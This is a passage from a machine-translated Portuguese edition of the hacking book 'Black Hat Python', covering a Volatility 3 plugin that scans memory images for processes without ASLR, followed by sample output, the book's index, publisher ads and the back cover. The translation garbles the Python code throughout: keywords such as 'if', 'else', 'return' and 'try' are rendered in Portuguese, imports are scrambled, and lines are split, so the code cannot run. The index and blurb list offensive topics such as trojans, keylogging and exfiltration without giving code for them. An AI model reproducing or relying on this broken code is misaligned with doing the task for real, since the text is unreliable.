significa que os exploradores não podem determinar como o espaço de endereço
do processo da vítima é disposto no momento do ataque. O Windows Vista foi o
primeiro lançamento do Windows com suporte à ASLR. Em imagens de
memória mais antigas como Windows XP, você não verá a proteção ASLR
ativada por padrão. Agora, com máquinas recentes (Windows 10), quase
todos os processos estão protegidos.
A ASLR não significa que o atacante está fora do negócio, mas torna
o trabalho muito mais complicado. Como primeiro passo no
reconhecimento dos processos, vamos criar um plug-in para verificar se
um processo é protegido pela ASLR.
Vamos começar. Crie um diretório chamado plugins. Sob esse diretório,
crie um diretório Windows para conter seus plug-ins personalizados para
máquinas Windows. Se você criar plug-ins para direcionar uma máquina Mac
ou Linux, crie um diretório chamado mac ou linux, respectivamente.
Agora, no diretório plugins/windows, vamos escrever nosso plug-in
ASLR-checking, aslrcheck.py:

Forense ofensiva 185


# Procurar todos os processos e verificar a proteção
ASLR
datilografar importação Chamável, Lista

de constantes de importação de volatilidade.framework, exceções, interfaces,


renderizadores de requisitos de importação de
volatilidade.framework.configuration
da volatilidade.framework.renderers import
format_hints da volatilidade.framework.symbols import
intermed
de volatilidade.framework.symbols.windows importar
extensões de volatilidade.plugins.windows importar pslist

186 Capítulo 11
importação io
importação
registro
importação os
importação
pefile

vollog = log.getLogger( nome )

IMAGEM_DLL_CHARACTERISTICS_DYNAMIC_BASE = 0x0040
IMAGEM_FILE_RELOCS_STRIPPED = 0x0001

Tratamos primeiro das importações de que necessitamos, mais a


biblioteca de pefile para arquivos de ana- lyzing Portable Executable (PE).
Agora vamos escrever uma função de ajuda para fazer essa análise:

1 def check_aslr(pe):
pe.parse_data_directories([
pefile.DIRECTORY_ENTRY['IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG']
])
dinâmico =
Falso
despojado =
Falso

2 se
(pe.OPTIONAL_HEADER.DllCharacteris
tics &
IMAGE_DLL_CHARACTERISTICS_DYNAMI
C_BASE):
dinâmico = Verdadeiro
3 se pe.FILE_HEADER.Características &
IMAGEM_FILE_RELOCS_STRIPPED: despojado =
Verdadeiro
4 se não dinâmico ou (dinâmico e
despojado): aslr = Falso
senão:
aslr =
Retorno
verdadeiro aslr

Passamos um objeto de arquivo PE para a função check_aslr 1, analisamo-


lo e depois verificamos se foi compilado com a configuração base
DYNAMIC 2 e se os dados de realocação do arquivo foram removidos

Forense ofensiva 187


3. Se não for dinâmico, ou se foi talvez compilado como dinâmico, mas
removido de seus dados de realocação, então o arquivo PE não está
protegido pela ASLR 4.
Com a função check_aslr helper pronta para ir, vamos criar nossa
Classe AslrCheck:

1 classe

AslrCheck(interfaces.plugins.PluginInterface):

@classmethod
def
get_requirements(cls
): retornar [
2 Requisitos de TraduçãoRequipamento da camada(
name='primary', description='Memory layer for the kernel',
architectures=["Intel32", "Intel64"]),

3 Requisitos.
name="nt_symbols", description="Windows kernel
symbols"),

188 Capítulo 11
4 requisitos.PluginRequirement(
name='pslist', plugin=pslist.PsList, version=(1, 0, 0))

5 Exigências da ListRequirement(nome =
'pid', element_type = int,
descrição = "Process ID to include (todos os outros são
excluídos)", opcional = Verdadeiro),
]

O primeiro passo para criar o plug-in é herdar do objeto


PluginInterface 1. Em seguida, defina os requisitos. Você pode ter uma
boa idéia do que você precisa revendo outros plug-ins. Cada plug-in precisa
da camada de memória,
e definimos esse requisito primeiro 2. junto com a camada de
memória, precisamos também das tabelas de símbolos 3. Você encontrará
estes dois requisitos utilizados por quase todos os plug-ins.
Também precisaremos do plug-in pslist como um requisito para
obter todos os processos da memória e recriar o arquivo PE a partir do
processo 4. Depois, passaremos o arquivo PE recriado de cada processo e o
examinaremos para
Proteção ASLR.
Podemos querer verificar um único processo dado um ID de processo,
então criamos outra configuração opcional que nos permite passar em uma
lista de IDs de processo para limitar o check- ing apenas a esses processos 5.

@classmet
hod
def create_pid_filter(cls, pid_list: List[int] = None) -> Callable[[interfaces.objects.
ObjectInterface], bool]:
filter_func = lambda _: Falso
pid_list = pid_list ou []
filter_list = [x para x em pid_list se x não for None] se
filter_list:
filter_func = lambda x: x.UniqueProcessId not in filter_list
return filter_func

Para lidar com a identificação opcional do processo, usamos um


método de classe para criar uma função de filtro que retorna Falso para
cada identificação de processo na lista; ou seja, a pergunta que fazemos à
função de filtro é se devemos filtrar um processo, então retornamos
Verdadeiro somente se o PID não estiver na lista:

def _generador(self, procs):


Forense ofensiva 189
pe_table_name = intermed.IntermediateSymbolTable.create( 1
contexto próprio,
auto.config_path,
"janelas",
"pe",
class_types=extensions.pe.class_types)

procnames =
lista() para proc
in procs:
procname = proc.ImageFileName.cast("string",
max_length=proc.ImageFileName.vol.count, errors='replace')
se procnome em procnomes:

190 Capítulo 11
continuar
procnames.append(procname)

proc_id = tentativa
"Desconhecida":
proc_id = proc.UniqueProcessId
proc_layer_name =
proc.add_process_layer()
exceto exceções. InvalidAddressException como e:
vollog.error(f "Process {proc_id}: endereço inválido {e} in layer
{e.layer_name}") continua

peb = self.context.object( 2
self.config['nt_symbols'] + constantes.BANG + "_PEB",
layer_name = proc_layer_name,
offset = proc.Peb)

tente:
dos_header = self.context.object(
pe_table_name + constantes.BANG +
"_IMAGE_DOS_HEADER",
offset=peb.ImageBaseAddress,
layer_name=proc_layer_name)
exceto Exceção como e:
continuar

pe_data = io.BytesIO()
para offset, dados em dos_header.reconstruct():
pe_data.seek(offset)
pe_data.write(data)
pe_data_raw = pe_data.getvalue() 3
pe_data.close()

tente:
pe = pefile.PE(data=pe_data_raw) 4
exceto Exceção como e:
continuar

aslr = check_aslr(pe) 5

rendimento (0, (proc_id, 6


procname,
format_hints.Hex(pe.OPTIONAL_HEADER.ImageB
ase), aslr,
))

Forense ofensiva 191


Criamos uma estrutura de dados especial chamada pe_table_name
1 para usar à medida que fazemos loop sobre cada processo na
memória. Em seguida, obtemos a região de memória do Bloco de
Ambiente de Processo (PEB) associada a cada processo e a colocamos em
uma
objeto 2. O PEB é uma estrutura de dados para o processo atual que contém
uma riqueza de informações sobre o processo. Escrevemos essa região em
um objeto semelhante a um arquivo (pe_data) 3, criamos um objeto PE
usando a biblioteca pefile 4, e o passamos para nosso método check_aslr
helper 5. Por fim, produzimos o tuple de informações contendo o ID do
processo, nome do processo, endereço de memória do pro...
cess, e um resultado booleano da verificação de proteção ASLR 6.

192 Capítulo 11
Agora criamos o método run, que não precisa de argumentos, já que
todas as set- tings estão povoadas no objeto de configuração:
def run(self):
1 procs = pslist.PsList.list_processes(self.context,
self.config["primário"],
self.config["nt_symbols"],
filter_func =
self.create_pid_filter(self.config.get('pid', Nenhum)))
2 return
renderers.TreeGrid([
("PID", int),
("Filename", str),
("Base", format_hints.Hex),
("ASLR", bool)],
self._generator(procs))

Obtemos a lista de processos usando o plug-in pslist 1 e retornamos


os dados do gerador usando o renderizador TreeGrid 2. O renderizador
TreeGrid ren- derer é utilizado por muitos plug-ins. Ele garante que
obtenhamos uma linha de resultados para
cada processo analisado.

Chutando os Pneus
Vamos dar uma olhada em uma das imagens disponibilizadas no site da
Volatilidade: Malware - Cridex. Para seu plug-in personalizado, forneça a
chave -p com o caminho para sua pasta de plugins:

PS>vol -p .\plugins\windows -f cridex.vmem aslrcheck.AslrCheck


Volatilidade 3 Estrutura 1.2.0-beta.1
Progresso: 0.00 Scanningprimary2 usando
PdbSignatureScanner PID Filename Base ASLR

368 smss.exe 0x48580000 Falso


584 csrss.exe 0x4a680000 Falso
608 winlogon.exe 0x1000000 Falso
652 serviços.exe 0x1000000 Falso
664 lsass.exe 0x1000000 Falso
824 svchost.exe 0x1000000 Falso
1484 explorer.exe 0x1000000 Falso
1512 spoolsv.exe 0x1000000 Falso
1640 reader_sl.exe 0x400000 Falso
788 alg.exe 0x1000000 Falso
1136 wuauclt.exe 0x400000 Falso

Como você pode ver, esta é uma máquina Windows XP, e não há
proteções ASLR em nenhum processo.
A seguir é o resultado para uma máquina Windows 10 limpa e atualizada:

Forense ofensiva 193


PS>vol -p .\plugins\windows -f WinDev2007Eval-Snapshot4.vmem aslrcheck.AslrCheck
Volatilidade 3 Estrutura 1.2.0-beta.1
Progresso: 33. 01Scanning primary2 usando
PdbSignatureScanner PID Nome do arquivo Base ASLR

194 Capítulo 11
316 smss.exe 0x7ff6680200 Verd
00 adei
ro
428 csrss.exe 0x7ff796c000 Verd
00 adei
ro
500 wininit.exe 0x7ff7d9bc00 Verd
00 adei
ro
568 winlogon.exe 0x7ff6d7e500 Verd
00 adei
ro
592 serviços.exe 0x7ff76d4500 Verd
00 adei
ro
600 lsass.exe 0x7ff6f83200 Verd
00 adei
ro
696 fontdrvhost.ex 0x7ff65ce300 Verd
00 adei
ro
728 svchost.exe 0x7ff78eed00 Verd
00 adei
ro

A volatilidade não foi capaz de ler uma página solicitada:


Erro de página 0x7ff65f4d0000 em camada primária2_Process928 (Falha de página na entrada
0xd40c9d88c8a00400 na entrada da página)

* Esfregaço de memória durante a aquisição (se possível, tente readquirir)


* Uma busca de página intencionalmente inválida (proteção do sistema operacional)
* Um bug no plugin/volatilitário (reiniciar com -vvv e arquivar um bug)

Nenhum outro resultado será produzido

Não há muito o que ver aqui. Todos os processos listados são protegidos
pela ASLR. Entretanto, também vemos uma mancha de memória. Um esfregaço
de memória ocorre quando as tendas da memória mudam conforme a
imagem da memória é tirada. Isso resulta em descrições da tabela de
memória que não correspondem à memória em si; alter- nativamente, os
indicadores de memória virtual podem fazer referência a dados inválidos. A
invasão é difícil. Como diz a descrição do erro, você pode tentar readquirir a
imagem (encontrar ou criar um novo instantâneo).
Vamos verificar a imagem da memória de amostra do PassMark Windows
10:

PS>vol -p .\plugins\windows -f WinDump.mem aslrcheck.AslrCheck


Volatilidade 3 Estrutura 1.2.0-beta.1
Progresso: 0. 00Scanning primary2 usando
PdbSignatureScanner PID Nome do arquivo Base ASLR

356 smss.exe 0x7ff6abfc000 Verdadeiro


0
2688 MsMpEng.exe 0x7ff79949000 Verdadeiro
Forense ofensiva 195
0
2800 SecurityHealt 0x7ff6ef1e000 Verdadeiro
h 0
5932 GoogleCrashH 0xed0000 Verdadeiro
an
5380 SearchIndexer 0x7ff6756e000 Verdadeiro
. 0
3376 winlogon.exe 0x7ff65ec5000 Verdadeiro
0
6976 dwm.exe 0x7ff6ddc8000 Verdadeiro
0
9336 atieclxx.exe 0x7ff7bbc3000 Verdadeiro
0
9932 remsh.exe 0x7ff736d4000 Verdadeiro
0
2192 SynTPEnh.exe 0x140000000 Falso
7688 explorer.exe 0x7ff7e705000 Verdadeiro
0
7736 SynTPHelper.e 0x7ff7782e000 Verdadeiro
x 0

Quase todos os processos são protegidos. Somente o processo único


SynTPEnh.exe não é protegido pela ASLR. Uma pesquisa on-line mostra que
se trata de um software de apontamento Synaptics Pointing Device,
provavelmente para telas sensíveis ao toque. Desde que esse processo esteja
instalado no c:\Program Files, provavelmente não há problema, mas pode
valer a pena zumbir mais tarde.

196 Capítulo 11
Neste capítulo, você viu que você pode aproveitar o poder da estrutura
de Volatilidade para encontrar mais informações sobre o comportamento e as
conexões de um usuário, bem como para analisar dados sobre qualquer
processo em execução de memória. Você pode usar essas informações para
entender melhor o usuário alvo e a máquina, bem como para entender a
mentalidade de um defensor.

Avante!
Você já deve ter notado que Python é uma ótima linguagem para hack-ing,
especialmente quando você considera as muitas bibliotecas e estruturas
baseadas em Python que você tem disponíveis. Embora os hackers tenham
uma infinidade de ferramentas, não há realmente nenhum substituto para
codificar suas próprias ferramentas, porque isto lhe dá uma compreensão
mais profunda do que essas outras ferramentas estão fazendo.
Vá em frente e codifique rapidamente uma ferramenta
personalizada para suas necessidades especiais. Seja um cliente SSH
para Windows, um raspador da web ou um sistema de comando e
controle, Python tem você coberto.

Forense ofensiva 197


IN DE X

método de reset, 99
A
Acunetix, 85, 102 BHNET, 13, 26
disposição do espaço de Gerador de carga útil
BHP, 102
endereçamento aleatório,
bhservice, 154, 166
178, 182
Bing API, 94, 104, 107
biblioteca argparse, 14
exemplo, NetCat, 14
ARP
cache, 57
envenenamento, 53-54, 57
Classe Arper, 59-62
método do veneno, 60-61
método de restauração, 61-62
método run, 60
método de cheiro, 61
ASLR. Veja o layout do espaço de
endereços aleatorizado
Classe ASLRCheck (plugin de
Volatilidade personalizado)
função check_aslr, 179
create_pid_filter, método 180
Método gerador, 180-181
método get_requirements, 179-
180
método run, 182

B
Biblioteca BeautifulSoup, 74
Berkeley Packet Filter (BPF), 54, 56
Sintaxe BPF, 56
Classe BHPFuzzer, 99-100
getNextPayload método, 99
hasMorePayloads método, 99
mutate_payload method, 100
198 Capítulo 11
Bing search, 104
Biondi, Philppe, 53
Função BitBlt, 132
mudança de bit, 41-42
botnet, 121
BPF. Ver Berkeley Packet Filter Brute-forcing
arquivos e diretórios, 82, 86 senhas de
formulários da web, 88-89
Classe Bruter, 88-89
get_params function, 88
get_words function, 88
run_bruteforce, 88
web_bruter, 89
Painel de Arrombamento, 113
Classe BurpExtender, 97, 105, 107, 110
método bing_menu, 105-106 método de
consulta bing, 107 método bing_search,
106
createMenuItems método, 105, 111
display_wordlist, método, 113
get_words method, 112
registerExtenderCallbacks
método, 105, 110
método de mutilar, 112
método de menu_da_lista de palavras, 110
Extensões de arroto, 95-97, 100, 105, 111
Burp fuzzing, 95-96
Burp Intruder, 97, 100, 102
parâmetros de carga útil, 103
Suíte Burp, 93-95
API, 94
estendendo, 93-115
fuzzing, 95-104
GUI, 94-95
Configuração Jython, 95
Módulo BytesIO, 75, 87, 128, 140
157
C e-mail, 140
C2. Ver comando e controle Cain credenciais, roubo,
e Abel, 87, 90 54-57
CANVAS, 134
função de criptografia,
função de gerente de contexto de
141-143
chdir, 77-79
criptografia, 140
ClientConnected message, 28-30 AES, 140-142
código injeção, 164-166 assimétrico, 140
estilo de codificação, 5-7 híbrido, 140
biblioteca de comando e controle, 117, RSA, 140-142
125 biblioteca de visão por computador. simétrico, 140
Ver OpenCV
biblioteca
sistemas de gerenciamento de conteúdo
(CMS), 76 gerenciador de contexto, 73,
78, 81
decorador, 78
função createMenuItem, 105, 111
função createNewInstance, 97, 98
Função CreateProcess, 157
Cridex malware, 182
roteiro cruzado (XSS), 100
biblioteca de tipos, 39, 132-133, 136
função de elenco, 134
Estrutura dos campos, 40

D
função de decriptação, 142, 144
decifração, 142, 151
classe de destino inalcançável, 46
função de detecção (detecção de face),
68 classe de detecção (detecção de caixa
de areia)
método de detecção, 136-137
get_key_press método, 136-137
função get_last_input, 135-137
despacho do dicionário, 149
Modelo de objeto de documento
(DOM), 147 Sistema de nomes de
domínio (DNS), 45

E
Sistema de monitoramento El Jefe, 156-

186 Índice
função enumerativa, 67 EOF (marcador Classe HookManager, 129-130
de fim de arquivo), 18 exfiltração, 139, Arquivos .htaccess, 76
148 Elementos HTML, 147
HTMLParser, 90, 111
F
hypervisor, 1, 171
detecção facial, 53, 63, 67
Ferramentas para desenvolvedores FireFox, 86, 147
forense, 169
f-strings, 75
ftp, 140
biblioteca ftplib, 144

G
função gather_paths, 77-79 GDI (Windows
Graphics Device
Interface), 131-132
função gerador, 149
Função GetAsyncKeyState, 136-137
função getGeneratorName, 96-98
Função GetLastInputInfo, 135-136
função getNextPayload, 98-99
Função GetOwner, 158
biblioteca getpass, 27
Função GetTickCount, 135-136
Função GetWindowDC, 131-132
Função GetWindowTextA, 129
GetWindowThreadProcessId, 128-129
GitHub, 117-118, 121, 123
ficha de acesso pessoal, fluxo de trabalho 118-119,
119
biblioteca github3.py, 118
GitHub API, 118, 121
Classe GitImporter, 124
método find_module, 123-124
método load_module, 124
projeto gobuster, 82
Golden, Tim, 157, 162

H
despejo de haxixe, 175
função hexdump, 19-22
Cordel HEXFILTRO, 20

Índice 187
instalação, 94
I
IBurpExtender classe, 97, 105, 110 K
Classe ICMP, 46-47 Kali Linux, 2, 94
instalação, 5
método de cheiro, 47 atualização, 2, 5
ICMP echo, 48
Diagrama de pacotes de
mensagens ICMP, 46 Pacote
ICMP, 37, 42, 47
Destino inalcançável
mensagem, 46
IcontextMenuFactory, 105, 110
IDE. Ver desenvolvimento
integrado
ambiente
Processo Iexplore.exe, 147
ifconfig, 58
IintruderPayloadGenerator class, 96-
99 Internet Message Access Protocol
(IMAP), 54, 57
Internet Relay Chat (IRC), 117
personalização de importação,
123
função interna, 83
desenvolvimento integrado
ambiente, 1, 5
instalação, 5
Protocolo de Mensagem de
Controle da Internet
(ICMP), 36, 43
Internet Explorer, 146, 150
Protocolo Internet (IP), 36, 39
Módulo io, 75
Módulo BytesIO, 75, 87, 140
Bandeira IOCTL, 37
ipaddress library, 41, 48, 50-51
Classe IP, 39-43
método de cheiro, 44
Decodificação IP, 38, 43
Cabeçalho IP, 38
Estrutura do cabeçalho IPv4, 37

J
Java, 94
Jython
configurando Burp, 95
188 Índice
Evento KeyDown, 129-130
keylogger, 130-131
Classe KeyLogger
get_current_process method, 128-129
método mykeystroke, 129
método run, 129-130
keylogging, 128

L
Estrutura LASTINPUTINFO, 135
little-endian, 41
lockout bypass, 80
biblioteca lxml, 4, 74-76
HTMLParser, 75, 88, 90, 110

M
ataque de homem no meio, 54
função mangle, 112-113
controle de acesso à mídia (MAC), 57, 61-62
instantâneos de memória, 171-172
mancha de memória, 183
Metasploit, 134
Microsoft Developer Network (MSDN), 132, 158-159
Miessler, Daniel, 87
MITM. Ver man-in-the-middle attack mouse-click
detection, 138
msfvenom, 134
pacote multiprocessamento, 58

N
namedtuple, 63-66
Nathoo, Karim, 147
netcat, 13, 164-165
Classe NetCat, 14
método de manuseio, 16
método de escuta, 15-16
método run, 15
método de envio, 15, 17
noções básicas de rede, 10
cheiro de rede, 35, 50
nova função, 40 Nibble. Ver nybble
nmap, 36
nybble, 41-42
Índice 189
Python 3
O customização de
forense ofensiva, 169
importação, 123-
Biblioteca OpenCV, 63, 68-69
124
dependências, 69
montagem e
OWASP, 85
instalação, 3-5
bibliotecas web, 72-
P 74
encaminhamento de pacotes, 62
biblioteca python3-venv,
cheirando pacotes, 36-38
3
biblioteca paramiko, 26-29
canal, 33
instalação, 25
rforward demo, 32, 34
função reverse_forward_tunnel,
32
transporte, 33
pastebin.com, 145-146, 148
Separador de carga útil,
Burp, 102 Processamento
de tampa, 53, 63
Arquivo PE, 179
biblioteca pefile, 179
PEP 8, 6
pip, 4
arquivo portátil excutable, 178-
181 PortSwigger Web Security, 94
Port Unreachable error, 46
Positions tab, Burp, 102
Protocolo dos Correios (POP3), 54, 57
PowerShell, 153, 161, 164, 170
escalada de privilégios, 153
parâmetro prn, 54
Bloco de ambiente de processo (PEB),
181 monitor de processo, 156-157
modo promíscuo, 37-38 função
proxy_handler (TCP Proxy), 22
PyCharm IDE, 5
biblioteca de pycryptodome, 26, 140,
170
pacote pycryptodomex, 140
biblioteca do Pyinstaller, 121,
154, 165 Python 2.x
bibliotecas web, 72
sintaxes (Jython), 94
190 Índice
biblioteca pywin32, 131, 140, 154 função write_memory, 133

Biblioteca PyWinHook, 128, 136 biblioteca shlex, 13, 28


Simple Mail Transfer Protocol (SMTP),
Q 54, 57, 143
sintaxe da fatia, 69
Objeto de fila, 76-80, 82-84
biblioteca smtplib, 142-143
R
ReadDirectoryChangesW, 162-163
Classe Recapper, 63-67
método get_responses, 65-67
método de escrita, 67
registerIntruderPayloadGenerator Factoryfunction,
96-97
Ferramenta de repetidor, Burp, 96
solicita biblioteca, 74, 146
obter pedido, 74
pedido pelo correio, 74
objeto de sessão, 87
response_handler function, 21-23 reverse SSH

tunnel example, 34 rforward demo, 32


RTLMoveMemory, 133-134

S
caixa de areia, 135-138
Classe Scanner, 48-49
método de cheiro, 48
Biblioteca Scapy, 53-54
exemplo de pacote_callback, 56 Aba Scope,
Burp, 109
função de captura de tela, 132
capturas de tela, 131-132
SecLists, 87
Função SelectObject, 131-132
SeLoadDriver, 159-160
função server_loop (Proxy TCP), 23
SetWindowsHookEx, 128
código de shellcode, 132-134
execução de código de shell, 132
função get_code, 133
função run, 133

Índice 191
rede de farejadores, 35, 36, 54 github-aware, 121-
123
parâmetro SOCK_DGRAM, 11, 48
Janelas, 127
biblioteca de soquetes, 10
Parâmetro SOCK_STREAM, 10-12, 14,
22–23, 29
Injeção SQL, 100, 104
Cliente SSH, 26-27, 30-31
ssh_command
conexão direta com Paramiko, 26-
27
conexão reversa com Paramiko, 26-
27
Servidor SSH com Paramiko, 28
túneis SSH, 30-34
reverso, 31
função reverse_forward_tunnel,
32-33
SSH com Paramiko, 26
SSL, 118
biblioteca estrutural, 39, 41
biblioteca de subprocessos, 13, 27-28
método de chamada, 155
método check_output, 28
SVNDigger, 82

T
Classe TagStripper, 110-111, 112
método handle_comment, 110
método handle_data, 110
método de tira, 110
Aba de destino, Burp, 109, 114
TCP. Ver Protocolo de Controle de
Transmissão
testphp.vulnweb.com, 82-85
roscas, 81-82
método thread.join, 81
fichas
privilégios, 159-160
Protocolo de Controle de Transmissão
(TCP), 10 cliente, 10, 12
proxy, 19
servidor, 12
troiano, 117-125, 127
configuração, 120-121
192 Índice
Classe de troianos, 122 pacote win32con, 131-132, 157, 160,
162–163
get_config método, 122
get_file_contents function, 121-122
função github_connect, 121-123
método module_runner, 122-123
método run, 122-123
método de resultado do módulo_de_armazém,
122-123
tentar/exceto sintaxe, 78
sintaxe de tentativa/finalidade, 78

U
Protocolo de Datagramas de Usuário (UDP), 10-11
cliente, 11
datagramas, 36, 49
descoberta do hospedeiro, 36
biblioteca urllib, 73-74, 76, 90, 105, 133
urllib2 biblioteca, 72-73, 76
função urlopen, 72-74, 133

V
VBScript, 153, 161-162, 164
pacote venv, 4
VirtualAlloc, 133-134
VirtualBox, 1
ambiente virtual, 3-5, 170
máquina virtual (VM), 1-2, 38, 85 Visual Studio
Code IDE, 5 VMWare, 1
Volatilidade
estrutura, 169
instalação, 170
plug-ins, 171, 177-178
Interface volumétrica, 170
interface volshell, 170, 177
reconhecimento de vulnerabilidade, 176

W
análise de aplicações web, 71
ataques, 72
raspagem para senhas, 110-115
ferramentas, 71
pacote win32api, 131, 135, 157
pacote win32com, 140, 143-146
Índice 193
pacote win32file, 144 Biblioteca WMI, 154
Wireshark, 35, 63, 67
pacote de segurança win32, 157, 160
criação de lista de palavras, 110-113
Windows WordPress, 76, 81, 86-87, 90-91
Interface do Dispositivo Gráfico login forçado bruto, 85-89
(GDI), 131-132 captchas, 86
Cabo, 132 instalação, 76
Aplicação do Outlook, 143 mapeamento, 76-81
escalação de privilégios, 145 Wuergler, Mark, 157
registro, 172
Serviços, 154 X
Tomadas, 37 XSS. Veja o roteiro cruzado do site
Token, 159
máquina virtual (VM), 1 Z
WingIDE, 5
biblioteca zlib, 64, 66, 140
Gerenciamento de janelas
Instrumentação (WMI),
154, 157

194 Índice
Black Hat Python é ambientado em New Baskerville, Futura, Dogma, e
TheSansMono Condensed.
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.

RECURSOS
Visite https://nostarch.com/black-hat-python2E/ para obter erratas e mais informações.

Mais livros sem bobagens de SEM PRENSA DE AMIDO

PROTOCOLOS DE REDE DE CHUVEIRO PRETO GO CHAPÉU PYTHON CINZA


ATAQUE Programação Go para Hackers e Programação P5thon para Hackers e
Um Guia Hacker para Captura, Análise5 Pentesters Engenheiros Reversíveis
e Exploração Por TOM STEELE, CHRIS PATTEN, Por Justin Seitz
Por JAMES FORSHAW E dan kottman 216 pp., $39,95
336 pp., $49,95 368 pp., $39,95 isbn 978-1-59327-192-3
isbn 978-1-59327-750-5 isbn 978-1-59327-865-6

HACKING PRÁTICO CAÇA AOS INSETOS DO MUNDO SÉRIO PYTHON


O Guia Definitivo para Atacar a Internet REAL Conselhos de Cinto Negro sobre Deplo5ment,
das Coisas SCALABILIT5, Testing, e Mais
Por FOTIOS CHANTZIS, IOANNIS
Um Guia de Campo para Por Julien DANJOU
STAIS, PAULINO CALDERON, EVAN-
Hacking na Web Por PETER 240 pp., $34,95
GELOS DEIRMENTZOGLOU, AND YAWORSKI 264 pp.,
isbn 978-1-59327-878-6
BEAU WOODS $39,95
464 pp., $49,99 isbn 978-1-59327-861-8
isbn 978-1-7185-0090-7
TELEFONE: E-MAIL:
800.420.7240 OU SALES@NOSTARCH.COM
415.863.9900 WEB:
WWW.NOSTARCH.COM
Assine o DeepL Pro para traduzir arquivos maiores.
Mais informações em www.DeepL.com/pro.

Nunca antes o mundo confiou tão fortemente na Internet


para se manter conectado e informado. Isso torna a missão
da Electronic Frontier Foundation - assegurar que a
tecnologia sustente a liberdade, a justiça e a inovação para
todas as pessoas - mais urgente do que nunca.

Por mais de 30 anos, a EFF tem lutado pelos usuários de


tecnologia através do ativismo, nos tribunais e
desenvolvendo software para superar - obstáculos à sua
privacidade, segurança e liberdade de expressão. Esta
dedicação nos fortalece a todos através da escuridão. Com
sua ajuda, podemos navegar em direção a um futuro digital
mais brilhante.
SAIBA MAIS E JUNTE-SE AO EFF.ORG/NO-STARCH-PRESS
“This book is one you need to read.
2 ND EDITION

Intense, technically sound, and eye-opening.”


—Sandra Henry-Stocker, IT World
When it comes to creating powerful and effective Escalate Windows privileges with creative
hacking tools, Python is the language of choice process control
for most security analysts. In this second
edition of the bestselling Black Hat Python, Use offensive memory forensics tricks
you’ll explore the darker side of Python’s to retrieve password hashes and find
capabilities: everything from writing network vulnerabilities on a virtual machine
sniffers, stealing email credentials, and brute- Abuse Windows COM automation
forcing directories to crafting mutation fuzzers,
investigating virtual machines, and creating Exfiltrate data from a network
stealthy trojans. undetected

All of the code in this edition has been updated When it comes to offensive security, you need
to Python 3.x. You’ll also find new coverage to be able to create powerful tools on the fly.
of bit-shifting, code hygiene, and offensive Learn how with Black Hat Python.
forensics with the Volatility Framework as
well as expanded explanations of the Python
libraries ctypes, struct, lxml, and BeautifulSoup,
and offensive hacking strategies like splitting
About the Authors
bytes, leveraging computer vision libraries, and Justin Seitz is the president and co-founder of
scraping websites. Dark River Systems Inc., where he works on
Hunchly and conducts OSINT research. He is
You’ll even learn how to: also the author of Gray Hat Python (No Starch
Create a trojan command-and-control server Press, 2009), the first book to cover Python for
using GitHub security analysis.

Detect sandboxing and automate common Tim Arnold has worked as a professional
malware tasks like keylogging and Python software developer at SAS Institute
screenshotting for over 20 years. He contributes to several
open source software projects and volunteers
Extend the Burp Suite web-hacking tool as a hacking trainer in his local community.

T H E F I N E S T I N G E E K E N T E RTA I N M E N T ™ $44.99 ($59.99 CDN)


www.nostarch.com

“ I L I E F L AT. ”
FSC FPO
This book uses a durable binding that won’t snap shut

Você também pode gostar